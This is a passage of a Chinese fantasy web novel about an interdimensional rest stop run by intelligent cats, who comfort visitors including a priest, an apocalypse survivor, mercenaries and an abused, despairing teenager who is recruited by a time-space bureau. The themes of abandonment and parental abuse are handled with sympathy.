泽安德笑了笑,客套着应承了下来,随后继续给猫猫们进行身体检查。
来都来了,他趁机把猫猫们挨个扒拉了一下,确认大家都没什么健康问题。只是当扒拉到狸花猫的时候,出了点奇怪的小问题。
泽安德将手放到猫爪上,猫将爪爪迅速抽出来放到人手上面。
泽安德又将手放到猫爪上,猫又将爪爪放到人手上面。
【泽安德】对【狸花猫】使用了【抓取偷袭】,未命中。
【狸花猫】无法被选中。
一番激烈的斗争后,泽安德妥协了,选择手心向上,让猫爪稳稳压着自己手心。
“很健康,继续保持。”
说着,泽安德轻轻捏了捏粉粉的肉垫,狸花猫应声喵了一下,让他感到有些好笑。
这里的小家伙们未免有些聪明过头了,上次和他们说些神术研究方面的事情,这只小狸花居然还一副煞有介事的样子认认真真听着,时不时简单喵两句发表一下指导意见。
“要不然我教你用治疗术吧,这样就算我不在,你们也可以自己治些小伤。”
泽安德忙完,见店里其他人已经都走了,一时心血来潮,开玩笑似的说道
“首先,想象一个‘治愈’的意象,然后将这种感觉集中到掌心……算了,这对猫猫来说也太难了。”
泽安德笑着
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摇了摇头。哪怕在他的世界里,光属性能力也是神的恩赐,必须花费大量时间进行祈祷修行,研读教会经典,净化信仰后才能习得。
而且猫猫哪里懂得神学呢,最多是他每次来都顺便带些教堂经过祈祷供奉的圣水,给猫猫们净一下爪爪,希望保佑它们无病无灾罢了。
如果一个不信神的生物能使用光属性能力,那教会可就完蛋了。
就在泽安德有些好笑地这样想着的时候,却感觉眼前闪了闪微光。
狸花猫看着肉垫中心跃来跃去的细小光点,忍了一下,最后没忍住,狩猎本能占据了高地,用另一只爪爪啪地拍了上去,把光点拍散了。
【狸花猫】习得了【初级治疗术】!
狸花猫自己玩了会,发现泽安德半天没动静,便看向这位世界观猝不及防碎掉了的牧师,歪了歪小脑袋。
先不管教会完蛋了的事情,泽安德现在没兴趣也没余力考虑那帮老登,只想知道另一件事。
“如果不是神赐予的恩惠,那我……”
一直以来,我信仰的到底是什么?
泽安德看着自己的手心,有些茫然而惊恐地低声自言自语着,直到听到了狸花猫呼唤的叫声。
“喵?”
狸花猫原地打了个滚,将肚皮向上一翻,看向泽安德的眼神中有些人性化的关心。
“啊……没事。不是你的问题。我只是……需要一点时间想一下而已。”
泽安德把手掌覆到狸花猫的肚肚上,轻轻揉了揉,感受着手上实实在在的毛茸茸触感才慢慢安定了些。
这样温热鲜活而可爱的生命,会因为病痛而痛苦,会因为受伤而哭泣……光是想想,泽安德就觉得无法接受。
……没什么好怕的,无论如何,需要被拯救的痛苦都是真实存在的。他要做的、他应该做的事情不会变。
泽安德苦笑着搓了搓狸花猫,随后摘下了象征神官身份的项链,向自动售货机走去:
“走吧,我给你换个罐头吃。”
“喵!”
剩下的就换点物资,做完今天告解室的工作后,就准备往黄昏峡谷那边去看看吧。
————
下班了,狸花猫昂首阔步,拿着治疗术的光点开始逗其他猫和它玩。
猫飞猫跳。
就在大家正在一起跑酷时,自动售货机突然轻轻震了震,发出了嗡嗡的轰鸣声。
猫猫们耳朵动了动,狸花猫把光点熄灭后,从猫爬架上三两下跳到了售货机前,猫猫脸被屏幕照得亮亮的。
【恭喜101号分局下属第5实验点达成第二阶段累计业绩成绩,现开启新功能——查阅顾客的资料及原本轨迹推演,为便于理解,推演结果以小说的形式概括,禁止与顾客进行相关内容交流。】
狸花猫左歪歪头,右歪歪头,耳朵微微动了动,随后肉垫“噗”的一声拍到了显示屏上。
【卫锦程,《末世来临八年后我觉醒了顶级异能》一书的主角,本书主要描写早已对世界和人性失去希望的主角一朝获得强大异能,以主角独善其身笑看他人陷入悲惨遭遇为主要爽点。】
狸花猫的爪爪又拍了拍屏幕,准备看看其他人的资料。
5. AAA奶牛猫师傅专业陪练
【温言谨,《错位的星空》一书的主角,本书内容读取错误,正在重新生成……】
【泽安德,《学治疗术救不了世界》一书的主角,本书内容读取错误,正在重新生成……】
【凯桑德拉,《黄昏峡谷的佣兵日常》一书的主角,本书内容读取错误,正在重新生成……】
屏幕上代表各个世界的光点忽明忽灭,亮度不同。狸花猫耐心地等了半分钟,用爪爪拍了几次这些光点后,就去继续室内跑酷了。
这些事好像和猫猫没关系,猫猫很忙,还有自己的事情要做。猫猫要忙着跑酷、忙着抓猫抓板磨爪爪、忙着揣起手手眯着眼发呆、忙着吃好吃的冻干和罐罐。
人类需要自己解决自己的问题,猫只能解决人类的情绪问题。当一个有一堆破事亟待解决还十分悲伤的人类来到休息站时,猫的任务就是用柔软的毛毛让他们变成只剩下一堆破事亟待解决的人类。
至于其他的,怎么,还指望小猫咪做个三菜一汤吗?这是自动售货机的工作,不是猫猫的。
跑酷跑到最后,一般都是剩下狸花猫和奶牛猫王牌对王牌。对狸花猫来说,奶牛猫是一位可敬的对手,如果没有奶牛猫,它的休息站生活会平淡很多。
一阵劲爆的打斗后,双方战成平局。狸花猫向后弓身伸着懒腰打了个哈欠,慢悠悠地回自己的猫窝了。而本站的奶牛猫,呃,奶牛猫,奶牛猫……
奶牛猫正以一种不可名状的姿势在角落中咕蛹着,伸展着手脚呈现长条状,一翻身又一翻身,没有人也没有猫知道它在做什么。
虽然同为高战力猫猫,但狸花猫作为本店的热门销冠只热衷于为人类提供肉垫捏捏和肚皮吸吸服务,每天营业前都会把自己的毛舔顺,是非常会打理自己的销冠猫猫。
而奶牛猫,它更喜欢当保安,无差别攻击的那种——不要误会,它同样不会随便挠人。它会收起会真的伤人的爪爪,给所有人和猫不痛不痒的一巴掌。
它不笨,只是大家都不知道它在想什么做什么而已,或许这是奶牛猫独特的幽默感。
并且,能欣赏这种幽默感的人类并不在少数,也有很多人类喜欢被猫猫的肉垫无缘无故拍两下。所以奶牛猫师傅的业绩也不算差。
如果说其他桌是人撸猫,那么奶牛猫师傅这桌,大概是天下第一武道大会。当客人把手举得比奶牛猫师傅高的时候,战争就开始了。
观赏擂台也是本休息站不容错过的项目之一。有人类喜欢安安静静享受猫猫陪伴,自然也有不少来自动荡位面的人类就喜欢这种极具交互感的搏击体验。
面前表情冷漠的卫锦程紧紧盯着奶牛猫,缓缓伸出了手指,指着奶牛猫发出了挑战信号。
几乎就在同一瞬间,奶牛猫就做出了莫名其妙的迎战动作,弓起身原地跳了跳,随后一爪子拍了过去。
一时间猫爪和人手的残影闪来闪去,一阵激烈的攻防后,卫锦程长出了一口气,掏出了一个罐头“啪”的一声拍在桌上。
“受教了!”
“喵!”
奶牛猫师傅也收了爪,舔了舔自己的爪爪后,将罐头往自己的方向扒拉了一下。
这里是以猫猫为中心的休息站,所以自动售货机售卖的罐头是猫猫爪子能够划开的材质,并且罐头内部外部都有突起的圆环状部分,方便猫猫叼着罐头到处跑跳。
卫锦程轻轻揉了揉正在吃罐罐的奶牛猫的背,冷若冰霜的脸终于缓和了些,露出了有些无奈的温暖表情。
也不知道这里的猫猫都是什么来头,居然能给觉醒了顶级异能的进化者做陪练——甚至奶牛猫还不是这里最强的猫猫。
之前找狸花猫陪练的时候,猫猫拳快到她都看不见,根本起不到训练效果。当时,狸花猫歪着小脑袋想了想,不情不愿地跳下桌走到布偶猫身边,拱了拱白色的大棉花团。
……奇耻大辱,但更耻辱的是,她确实练了一个月才好不容易能把布偶猫的猫爪压在手底下。
自从她觉醒异能到现在已经半年了,但从普通人一跃成为人人讨好的对象后,她感到的并非是快意,而是深深的恶心。
就连她自己也不知道这股恶心的感觉从何而来,但好在现在她足够强了,强到可以远离所有人,可以避开这种令她不快的感觉。
这间休息站里寄托着她剩余不多的感情,如果没有这里,她或许就真的除了活着之外什么也不在乎了。
不过,卫锦程依然搞不懂这里到底是什么空间——她只是终于找到了一扇能够稳定通往这里的门,便时不时往来这里进行异能练习和物资兑换。
说真的,她第一次推门进来发现回到了这里时,几乎喜极而泣到站不稳。感觉像是……回家了。
好像是在末世来临之前,自己还能下班回家,关上门后在安全而封闭的小空间里享受自己的时间——甚至这里还有一群可爱的猫猫。
末世来临之后,谁还有家啊。
“你蛮厉害的啊。”
卫锦程听到人类搭话后,表情立刻又结了冰,转头看向一旁携带着一人高大剑的女剑士。
这里当然不是普通的空间,是属于猫猫们的。她知道,所以并没有对这里的其他人出手——但其实她非常想把其他人都赶出这里,赶出她心中唯一的安全区。
然而凯桑德拉对她的排斥视若无睹,反而一脸惊叹地拎着酒抱着狸花猫走了过来,自来熟地坐到了对面。
“我之前和它比试的时候,手完全被猫爪压在下面了……好歹我也是接受过正经训练的剑士,太伤自尊了。”
“……我认识你吗?”
卫锦程谨慎地向后挪了挪身子,坐正了些,视线警惕地观察着凯桑德拉。
“不认识啊,不过一起喝过酒不就是朋友了嘛。”凯桑德拉笑着说着,把一瓶没开封的罐装啤酒推了过去,“这好像是你们喝的酒吧,我记得之前见和你长得很像的人喝过这个。”
佣兵们经常这么在酒馆交朋友,他们这行非常习惯于时刻收集情报信息,
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因此和陌生人自然而然地聊天就像喝水一样。
而末世,多和别人说一句话都怕别人哭天喊地赖过来,谁不是脚步匆匆地走自己的路。
“密封的,你要还担心我再当着你的面重新买一罐。”凯桑德拉指了指自动售货机,毫不在意地将很多人羞于谈论的“信任”扯到明面上,又撕了个碎扔到地上。
她的世界从未真正文明过,没有滋生出过那么多礼义道德,更不会将“信任”当作一种基本礼节。
佣兵的基本礼节不是信任,而是敬酒的时候要让酒馆的老板端出杯新的酒来,自己绝不沾手——不过命的交情怎么能共用酒杯,谁知道里面有没有毒。
这个行为让卫锦程略微放松了些,她接过了罐装啤酒,打开后听见了气泡冒出的声音。
事实上,卫锦程并不喜欢喝酒,从末世前她就不喜欢酒的味道,但她现在很喜欢打开罐装饮料的感觉,气泡冲出的声音像是在给支离破碎的文明吊唁缅怀。
“唉,这里好是好,但人也太少了,不热闹……乔伊斯,给我们来点音乐呗。”
凯桑德拉对着自己那穿着花哨浮夸服装、戴着羽毛帽的吟游诗人同伴挥了挥手,而被唤作乔伊斯的女孩正抱着德文猫,听到后立刻摇头拒绝。
“我能拉手风琴的双手都被这只可爱的小家伙占据了,让艾尔弄个魔法八音盒吧。”
“就算魔法再发展,也不能替代听现场演奏的那种感觉嘛,对吧艾尔……艾尔?”
凯桑德拉转头看向穿着法师袍,戴着单片眼镜的青年,后者心不在焉地点了点头,正在左看右看——这里的魔力流动很不寻常,并不危险,但让他有些看不懂。
见状,凯桑德拉也懒得理他——奇幻大陆上有句话叫,法师吃顿饭都得数清楚碗里有几粒米,说的就是他们什么都得研究一下,很麻烦。
……这帮人把这里当酒馆了。不过他们的文化中,应该也没有过猫咖这样的地方。
意识到这一点后,卫锦程摇了摇头,倒没那么反感。毕竟,这间休息站有神奇的消除异味功能,酒味只局限于喝酒人能闻到,熏不到别人也熏不到猫猫。
至于耍酒疯……陶片放逐法警告。公正的猫猫判官不会冤枉一个好人,也绝不会轻挠一个坏人。
狸花猫耳朵动了动,感觉到桌上氛围还好,便在桌子中间打了个滚开始营业卖萌,发出柔软的猫叫声。
它可以用猫猫拳把人类打一顿是一回事,营业模式让人类摸爪爪吸毛毛又是另一回事。销冠就是销冠,能武能文。
而奶牛猫叼着没吃完的罐罐暂时放到了猫窝附近,随后才回来,继续迎战凯桑德拉——狸花猫之前私下喵过好几次,不许大家在客人面前把没吃完的罐罐丢回自动售货机回收口。
《情商》。
就在这里群魔乱舞的时候,风铃轻轻地响了,侧躺在角落的布偶猫的耳朵动了动,抬起小脑袋看了看正在忙的狸花猫,打了个滚起身慢悠悠地飘了出去,准备迎接新的客人。
6. 群英荟萃猫猫开会
第五届全休息站猫猫大会,堂堂开始,有请猫猫代表狸花猫首先发言。
猫猫大会——顾名思义,是全体猫猫进行的关于休息站事务的讨论,举行频率取决于猫猫的心情。
第一届猫猫大会通过了猫猫公款部分用于购买罐头补助决议,确立了猫猫互帮互助制度,保障不喜欢营业的猫猫的基本吃罐罐权益。
第二届猫猫大会进行了公款使用划分,购买了猫窝、猫爬架等一系列基础设施,对室内的座椅也进行了翻新。
第三届猫猫大会购买了自动售货机提供的位面固定门店服务,保障了猫猫休息站的可持续发展。
第四届猫猫大会,呃,猫猫们吃完罐罐睡着了,没开成。
休息站的猫猫们都聚集到了自动售货机下,而狸花猫跳到了自动售货机顶上,舔了舔白爪爪,随后开始发言。
“喵。”
精彩的发言。
这么一堆小家伙聚在一起咕叽咕叽喵了半天,在开会期间有猫在集中全力大吃罐罐,有猫又打哈欠又打滚,还有猫和猫叠在一起挤来挤去,场面十分不严肃。
德文猫一直用前爪爪撑着地坐着,突然轻轻“喵”了一声,顿时休息站突然安静了下来,其他猫猫都看向了它,随后又响起了此起彼伏的喵声,只是不知为何听起来没有刚才那么活跃了。
第一项提案通过。狸花猫跳了下来,爪爪拍在显示屏上,随后整个休息站都黑了下来。
白色的幕布和放映机缓缓降下,猫猫们或蹲或趴或揣手手,用圆溜溜的眼睛看向幕布。
这里的猫猫并不是一开始就都是聪明猫猫的,最开始聪明到能理解并使用自动售货机的只有狸花猫。它在售货机的引导下购买了些灵智,这才让大家现在能够听懂人类说话,能够进行合作交流形成社群,甚至能够用爪爪制造和使用简单工具。
而在这之前,大家都只是普通猫猫。其中有几只猫猫是有过主人的——当然,现在它们都是自由的猫猫了。
毛长长的棉花团子布偶猫抬着头,看着幕布上熟悉又陌生的人类。那时它的小脑袋不如现在聪明,还不太能明白人类在说什么。
它还是想知道为什么。
“……毛也太多了,梳都梳不开,还掉得到处都是,你看看这衣服,还有水杯。”
“也太花钱了,光洗澡梳毛治病都没个头……要不算了吧,找个领养的呢?”
“扔了吧,反正布偶肯定有人捡。”
布偶猫低下头,轻轻晃了晃垂下的尾巴,随后走回了自己的猫窝恹恹地趴下了。
小煤球迈着小步子靠近了些,用鼻尖轻轻蹭了蹭布偶猫。好在这里都是猫,大家都掉毛,没有人会嫌弃它了——掉毛是小猫咪的基本权利。
有的猫猫因为不亲人被弃养,有的猫猫因为精力充沛被弃养,还有的猫猫只是因为主人搬家或毕业,睡了一觉起来就变成了流浪猫。
这下小猫咪们很多都无精打采地回了猫窝,罐罐也不吃了,猫爬架也不玩了,猫窝中时不时传出一两声有些委屈的呜咽。
要求猫咪生来就明白如何和人类相处的人、要求猫咪克服自身无法选择的缺陷的人,不知道他们自己有没有先克服人类本能学会“对生命负责”。
如果负起责任找到合适的人送养也就罢了,但如果就不管不顾地把猫扔到大街上,那么这些人或许更应该先学习一下如何制造和使用工具,或者退一步来说,尽快开始适应荡着树藤吃香蕉的生活。
德文猫是因为皮肤病和过于黏人被弃养的。它安安静静地看完了全程,异色瞳倒映着白色幕布上的画面,耳朵偶尔轻轻动一动。
一般来说,德文猫不会像它这样安静——不过小猫咪会思考后,不仅烦恼变多了,好像性格也变了些。
关系好的猫猫们都互相三三两两地挤着抱团取暖。狸花猫也挤了过来,绕着德文猫转,着急地喵喵叫了好几声。
本站销冠倒是没有受到什么伤害,它一直是野猫,只是凭借亲人的性格、矫健的身手和聪明过猫的小脑袋同时领养了几个野人,和人们过着保有距离感的安定生活。
狸花猫挤到了德文猫的猫窝里,舔了舔德文猫的毛毛。两只小猫挤挤地待在一起,猫叠猫,总算是让德文猫的情绪好了一点。
小猫都会直白而简单地表达自己对同伴的好感——鼻子蹭蹭,互相舔舔毛,挤在一起或叠在一起睡觉觉,让彼此更暖和些。
很多猫猫都有点委屈,所以今天晚上睡觉打呼噜的猫猫变得格外多,导致第二天还能营业的猫猫都无精打采地趴在桌上,而受到了精神创伤的猫猫们更是在猫窝里趴着不动,连喜欢的罐罐都不吃了。
来来往往的客人们向忙得肉垫不沾地一样的狸花猫询问情况,却只得到了一个人性化的无奈眼神——本来就是被弃养造成的创伤,它们现在不愿意向人营业也是猫之常情。
小猫咪需要一点时间舔伤口,没办法,只能是没有受伤的猫猫像要飞来飞去一样地营业了。
温言谨心不在焉地摸了摸小煤球,和小煤球一样时不时就担心地往布偶猫的猫窝方向看。
布偶猫就是一大团棉花团子,没脾气也不生气,平时都让小煤球坐在自己身上,带着它慢悠悠地飘过来飘过去。温言谨看连脾气最好的猫猫都一副无精打采的样子,有些着急。
“这是怎么了啊……”温言谨忍不住问道。
狸花猫跳了过来,爪爪按着摇杆晃来晃去,努力在屏幕上画了个很抽象的简笔猫猫头,又画了个小房子和火柴人。
温言谨也没想到,她居然在和猫猫做你画我猜的阅读理解。今天回去得让顾行占一下,看看到底是怎么回事。
最近是春分,春分点是占星学的起点,这天的星盘对一年都有重要的影响。所以,这两天顾行一直在做春分星图的详细解读,就没和她一起来。
温言谨看着比星盘还抽象的猫猫画,努力猜测了一下。
“意思是,那些猫猫们以前有家?是住在人类家里的?”
“喵。”
原来如此,那大概是被遗弃了才到这里的吧。温言谨
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暗叹了口气,又看见狸花猫和小煤球喵了几声就跳走去别的桌营业了。
小煤球用头拱着摇杆继续画,画得歪歪扭扭的,但温言谨看了半天才从混乱线条中看出了些端倪。
好像是画了猫猫们正聚在一起看什么东西……
温言谨看了半天,还是似懂非懂的。她托起小煤球,委婉地问道:“它们现在是不是,不是很想搭理人类?”
“喵。”
虽然温言谨还是不明白具体发生了什么,但大概也知道是被弃养的猫猫似乎看到了什么刺激它们的东西,所以才集体这么消沉。
对于这种情况,这下温言谨真的没什么办法了,只能多买了几个罐罐,轻轻放在每一个猫窝前,希望能让它们感觉好一点吧。
“奇怪,我账上怎么有这么多钱。”回到桌上后,温言谨嘟囔了一句——那个玉佩有那么值钱吗?
做工不精致,成色也显然不是什么好东西。她从家里翻出来的时候,还以为是家里人跟着旅游团出去被导游骗着买的纪念品,随便戴着玩玩。
就在她刚说完这句话的时候,小煤球却突然像想起了什么,激动得“呜儿喵哇”地叫了起来,小脑袋拱着摇杆,却很快发现屏幕上画不出东西了。
后台信息仅猫可见,也就是说售货机不允许猫告诉人这件事。猫好,售货机坏。
狸花猫从旁边的桌子飞一般跳了过来,伸出爪爪试着掰了掰摇杆,也开始“呜儿喵哇”地叫,转身就跳去挠自动售货机了。
公款……这是公款啊!退钱,居然骗猫猫的劳动所得,退钱!
“你们是想说,那块玉佩很重要,对吗?”
温言谨想了想,认真问道。见小煤球喵了一声,她皱了皱眉,托着腮思考。
她清楚记得那就是一块看上去就不怎么值钱的玉佩,要不然也不会随手扯下来就丢进自动售货机了。如果不是成色的问题,那是什么情况呢?
说到底,其实这个自动售货机也很奇怪。虽然说现代社会有着各种各样的神奇科技产物,但要实现以物易物未免也太先进了,而且还能自动估价。
再加上她从来没在网上搜到过关于这家猫猫店的任何信息,她在社交平台上发布的相关照片和吐槽也石沉大海,并没有人看到。
更别提,这些猫猫的智商已经不能用“训练有素”来简单解释了。
“……小煤球,你们这里的管理者是谁呢?”
还在和售货机搏斗的狸花猫耳朵动了动,听到了温言谨的话,又很快跳回了桌子上,自信地喵了一声,又三两下跳到高处,拱了拱一直挂在店内的招牌向温言谨示意。
——猫猫经营、猫猫管理、依靠猫猫、为了猫猫。
现代世界的人类价值观被冲击了一下,随后却立刻兴奋了起来。这里像是小时候看的九又四分之三站台一样,那些神奇的人类真的是异世界的人吗?
她有一肚子话想问这些猫猫们,但时间到了——人类不能在这里停留太久,这里是猫猫的地盘。
她的电话响了。
7. 擅长倾听的白色精灵
停留时间过长的人类会被强制遣返——有时候是通过空间通道送走,有时候是通过不可抗力将人让原位面将人召回。
比如现在,温言谨的辅导员给她打了电话,让身为干部的她过来帮忙整理档案。
想刷履历的人就是劳碌命。温言谨叹了口气,摸了摸小煤球的头就起身离开了。
送走了这批客人后,别说其他猫了,就连狸花猫都累得不行了。它慢悠悠地走到售货机附近,在屏幕上拍了拍,设置了明天闭店休息,在固定门店外挂上关门提示牌。
这样最多有一个被空间通道丢过来的客人,到时候也应付得过来。
“咪唔……”
做完这一切,狸花猫又一副委委屈屈的样子蹭到了德文猫的猫窝里,给它看自己被人类揉得乱七八糟的漂亮毛毛。
今天狸花猫真的特别努力工作在维持店铺运作,为了保证客人时常有一猫陪伴跑来跑去,被搓了肚肚都没时间把毛舔舔好。
德文猫伸出小舌头,慢慢帮它把它自己不好舔到的毛毛舔顺,狸花猫也趁机舔了舔德文猫的毛,两个小家伙互相依偎在一起,暖乎乎的。
不久,灯灭了,室内一片漆黑。休息站一直定点熄灯,避免灯光对猫咪们造成不良影响。
喜欢熬夜的猫猫可以到隔壁房间继续玩,这里空间很大,能让猫猫们拥有足够的个猫空间。不过这两天大家都没什么心情。
一连关店三天,大部分猫猫都好转了些,但也有情况越来越糟糕的猫猫——布偶猫很显然无法接受它被抛弃的理由,一直到现在依然食欲不佳。
就算小煤球着急得转来转去,拱着布偶猫和它一起吃饭,它也只是勉强伸出小舌头卷走几颗猫粮,吃两口罐罐,然后继续躺回猫窝发呆。
它的小脑袋就算变聪明了也依然转不明白为什么,好像走进了死胡同。
狸花猫凑近了喵了两句,也试图安慰,但它其实同样不了解人类在想什么,为什么要抛弃布偶猫——平心而论,它可是本休息站脾气最好的猫猫了。
这时候,风铃突然响了,吓得狸花猫猛地转头,耳朵动了动,才想起大概是被空间通道抓过来的客人。
好吧,销冠得去工作养家了。
狸花猫向外走去,路过猫窝的时候轻轻蹭了蹭德文猫,随后出了门,不一会便带了一个看上去精神有些恍惚的清秀男生进来。
他的眼睛红红的,还有些肿,一眼看去状态便不是很好——他好像不知道这是什么地方,也不在乎,只是进门后趴在简陋的桌椅上继续啜泣。
狸花猫试着在他面前打了个滚,发现他似乎注意不到它后,便跳下了桌子,到德文猫身周蹭了蹭,将它带了过来。
安抚和治愈不是狸花猫的强项,它没什么耐心,更擅长陪心情还算正常的客人玩。而碰到这种拒绝交流情绪异样的客人,一般都是由德文猫或者布偶猫来解决。
布偶猫脾气好,体型又大,埋在一团会喵喵叫的棉花里本身就足够治愈了。更别提,这团棉花还会主动叼来猫玩具努力哄客人。
它在面对遇到困难的客人,时常会表现出很遗憾自己只是小猫咪,对无法解决客人的问题感到抱歉和难过,但现在布偶猫不想搭理人类,所以就只能拜托这几天精神恢复得还不错的德文猫来了。
与布偶猫总是试图解决问题不同,德文猫只是会认真听着,一直专注地看着客人,时不时喵一声表示它在听。
倾听本身也是一种治愈,而这只德文猫是本休息站最擅长安静倾听的猫猫。德文猫跳上了桌子,看着面前的人,伸出爪爪轻轻拍了拍他的手指,“咪”了一声。
那位客人抬起头,发现面前小精灵一般的德文猫正关切地看着他,忍不住伸出手指,试探着摸了摸它的头,动作很轻,生怕弄得它不舒服。
“你愿意听我说话吗?”
“喵。”
“……我家长把我的手机收了,不让我报志愿,一定要让我再考一年。他们说如果我考不上家附近的学校,就让我复读一辈子,别出去丢人现眼。”
他的声音很小,低垂着头,轻轻抽泣着,
“我知道我是废物,我对不起他们,但我……我真的不想回家了,我不想回去。”
他衣领后脖颈下方和袖口小臂处隐约可见不正常的淤青,按理来说,现在是外面的夏季,他却不知为何穿着长袖衣服。
一般来说,家里没人愿意听他说话,反正他说什么都不影响,没人在乎垃圾桶说什么。他只是不明白自己为什么无论如何也挣扎不出这个泥沼。
“可能我的确是个废物吧。学习不行、人际交往也不行……同学们说什么做什么,我都听不懂也跟不上。我离不开这里,都是我的错,是我不够努力。”
面对着猫猫倾诉要远比面对人容易。他看着德文猫猫,低垂着眼睛,轻声细语地继续说道,
“我想,如果我生来就注定是废物的话,是不是我没存在过会更好一点呢?他们也说了,我就是来讨债的。”
他的声音很小,颤抖地抽噎着,说的时候仿佛觉得自己底气不足。这个人不算矮,也不丑,但却像是习惯性一样畏缩地略微弯着脊背,试图减小自己的存在感。
在他倾诉的时候,德文猫只是安静地和他待在一起,尾巴偶尔摆一摆,喵喵叫一声表示它在听。其他猫猫慢慢围了过来,在地上排排坐着,尾巴偶尔轻晃,像听故事一样。
布偶猫的耳朵微微动了动,转头看向这个人类,犹豫了一会,最终也从猫窝中走了出去。
原来有的人类会对自己的幼崽做些比对猫猫还过分百倍的事情啊。那就不奇怪了,如果是听着这种话长大的人,如果是能说出这种话的人,那么他们不会爱小猫咪也是可以预料的事情。
但是人类为什么要这样做呢?在猫看来,能够捕猎到足够自己吃的食物就已经是合格的成年个体了。面前
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这个人类有手有脚会走路,到底有什么不好的?
猫猫不觉得这个人类有什么问题,他健健康康的,他看上去也喜欢猫猫,最重要的是——他又没有主动去伤害别人。
没有伤害过别人的人,堂堂正正地存在有什么错。
这位客人说了许久,最终长叹了口气,没想到自己在崩溃的时候被莫名其妙拽到了这个全是猫的空间里。
这些猫猫似乎正在试图安慰他,他当然不怪这些可爱的小家伙。只是即便冷静了下来,他也依然不觉得未来能看到什么希望。
不过回过神来后,他意识到自己好像将特别消极的情绪一股脑丢给了面前的小猫,忍不住道了个歉。
“对不起啊,跟你说了这么多有的没的……听我说话应该很烦吧。”
德文猫想了想,咬住他的袖子轻轻扯了扯,往角落的售货机方向拉了拉,轻轻喵了几声。
他疑惑地抱起德文猫,走到售货机前,看着屏幕上的猫猫食品歪了歪头。
“你是想吃零食吗?那我想想办法……这里的老板是谁?”
就在他刚问出这个问题的时候,狸花猫叼着一块写着歪歪扭扭的字的卡纸又跳到了自动售货机高处。
——本店是猫猫经营、猫猫管理、猫猫负责的,存在于时空夹缝的猫猫休息站。售货机支持以物品换猫猫币,商品售出概不退换,猫猫赚冻干不易敬请谅解
一个人处于极度剧烈的情绪中时,是没有精力留意外在环境的情况的。尤其,这个人类似乎确实反应慢吞吞的。事到如今他才想起来,自己突然被拽到的这个陌生地方好像不太对劲。
他站在自动售货机前犹豫不决,周围的猫猫却都知道他要买猫零食了,很快又围过来了几只,在他裤腿旁边发出此起彼伏的喵声。
“好好好,别急,我想想我身上有什么……”
他掏了掏口袋,掏出了他之前正要用小刀,犹豫了一下,试探着丢尽了机器的洞里。
这个倒是无所谓,反正厨房里还有菜刀,但一想到弄脏了菜刀后可能的后果,他习惯性心慌恐惧了一下,又无奈而苦涩地笑了出来。
有什么好怕的?没什么好怕的了。
讽刺的是,这种心态反而让他感到灾难般的事情变得更容易接受了——灾难依然会发生,但至少他可以闭上眼睛逃脱不看。
然而就在他将小刀扔进自动售货机的一瞬间,自动售货机的屏幕上却飘起了整屏红字,像是出了什么问题一样。
而在他反应过来之前,休息室的地面突然开始剧烈震动,震得他甚至站不稳,踉跄几步后便栽倒在地。
但他周围的地上围着一圈猫,为了不压到猫猫们,他在惊慌中本能拧了拧身,用胳膊肘先接触地面,勉强撑住了身体,疼得倒吸一口冷气。
用这样的姿势摔倒,就算摔骨折了也不奇怪,但是他现在顾不上在乎这些了。
地面在坍塌。
8. 暮时
来不及思考,他单手抄起离他最近的狸花猫和德文猫,刚想抬头看看往哪跑,却发现脚下是看不见底的黑色深渊,而他像是站在空气上,腿都有些发软。
四周一片昏暗寂静,只有他抱着的两只猫猫在咪呜喵呜地叫着。狸花猫挣扎了一下,从他怀里跳出来,迈着小步子向前走去。
他犹豫了一下,最终跟上了狸花猫。怀里的德文猫有些好奇地左右张望,而狸花猫却好像知道这里是哪里似的,自信地往前走去。
人和猫都像是走在倒悬的夜空上一样,周围没有参照物,只有狸花猫的毛毛泛着不知道哪里照过来的光。
走着走着,他看着面前的景象,揉了揉眼睛,惊讶得有些不知所措——面前在黑暗中亮着暖色灯光的,是一家二十四小时便利店。
而当他进了门,收银处坐着一位发色微微偏棕的、大约二十岁出头的女孩子。她面前摆着不同于普通便利店的电子设备,正聚精会神地看着全息投影的复杂神秘数据,直到狸花猫喵了一声才注意到了来人。
“小梨子前辈,又带人来了?最近业绩不错啊。”
她俯身对狸花猫拍了拍手,狸花猫便三两下跳到她怀里,熟稔地蹭了蹭她,又跳到了收银台上,
“这样下去的话,说不定很快就能获批正式休息站许可了呢。”
“那个……”他有些迷茫地开口,想要询问情况。说实话,他已经懵了很长一段时间了。
德文猫也从他怀里跳了出来,跑到收银台上和狸花猫喵呜喵呜地交流着,而那位女孩子站起身,对他笑了笑。
“这位客人您好,欢迎来到时空管理局101号分局下属第5实验点,我是代号‘暮时’的观察员,是这只猫猫的同事。接下来,我会按照标准流程为您解答一些您需要知道的事情。
时空管理局存在于时间与空间之外,是由拥有某种共同特质的智慧生命组建而成的、负责消除一切异化的团体。
异化的定义是,主体自我外化为客体,遭到异己的物质或精神力量控制奴役,是普遍存在于智慧生命族群中的病毒。
这样说可能有些抽象,举例来说,像如您……我看看档案,对了,您家长的行为便是典型的异化现象。
‘无法接受孩子是个普娃’……哈哈,怪不得大家每次提到这种隐性异化的世界都露出犯恶心的表情。
总之,恭喜您获得了时空管理局的实习邀请,请问您叫什么名字?”
“宁诚……言字旁的诚。”
“好的,这边给您登记……”
“抱歉,请问我可以拒绝吗?”
暮时听到这话,歪了歪头,有些困惑。一般到这里来的人确实都搞不清楚情况,但大多数人都不会这样直接拒绝,而是向她询问细节。
宁诚意识到自己好像说得太直接了,红着脸摆了摆手,有些紧张。
“呃,我不是这个意思……我是……就是,这件事听起来太重要了,不要交给我比较好,我会搞砸的。”
“安静,站好别动。”
暮时没有理会结结巴巴的宁诚,而是做了个手势,用双手的拇指和食指比了个方型,退后两步,闭上一只眼睛仔细打量他。
而狸花猫原先只是坐在收银台上有一搭没一搭地甩着尾巴,看到暮时这副做派,忍不住转了转小脑袋,看看暮时,又看看宁诚。
“嚯,居然是抗异化个体啊,这下发达了。”
“喵?”
“……你在培训的时候睡觉了,对吧。”
看着狸花猫歪了歪头,暮时忍不住吐槽道。每次开会培训,这些猫猫都在咪来喵去地说自己的事情,或者打完哈欠就眯着眼睛放空——毕竟是猫啊。
狸花猫听懂了暮时的指责,为了缓解尴尬,抬起小爪子来装模作样地舔了舔毛,试图略过这个话题。
暮时叹了口气,转身在设备上操作了一下,抬手把宁诚揪了过来,让他和狸花猫一起看屏幕,方便解释。
只见屏幕上是站在便利店里的宁诚,只是头上顶着一个血红色的数字。数字往下滴着油漆般的黏稠液体,看上去令人很不舒服。
90%
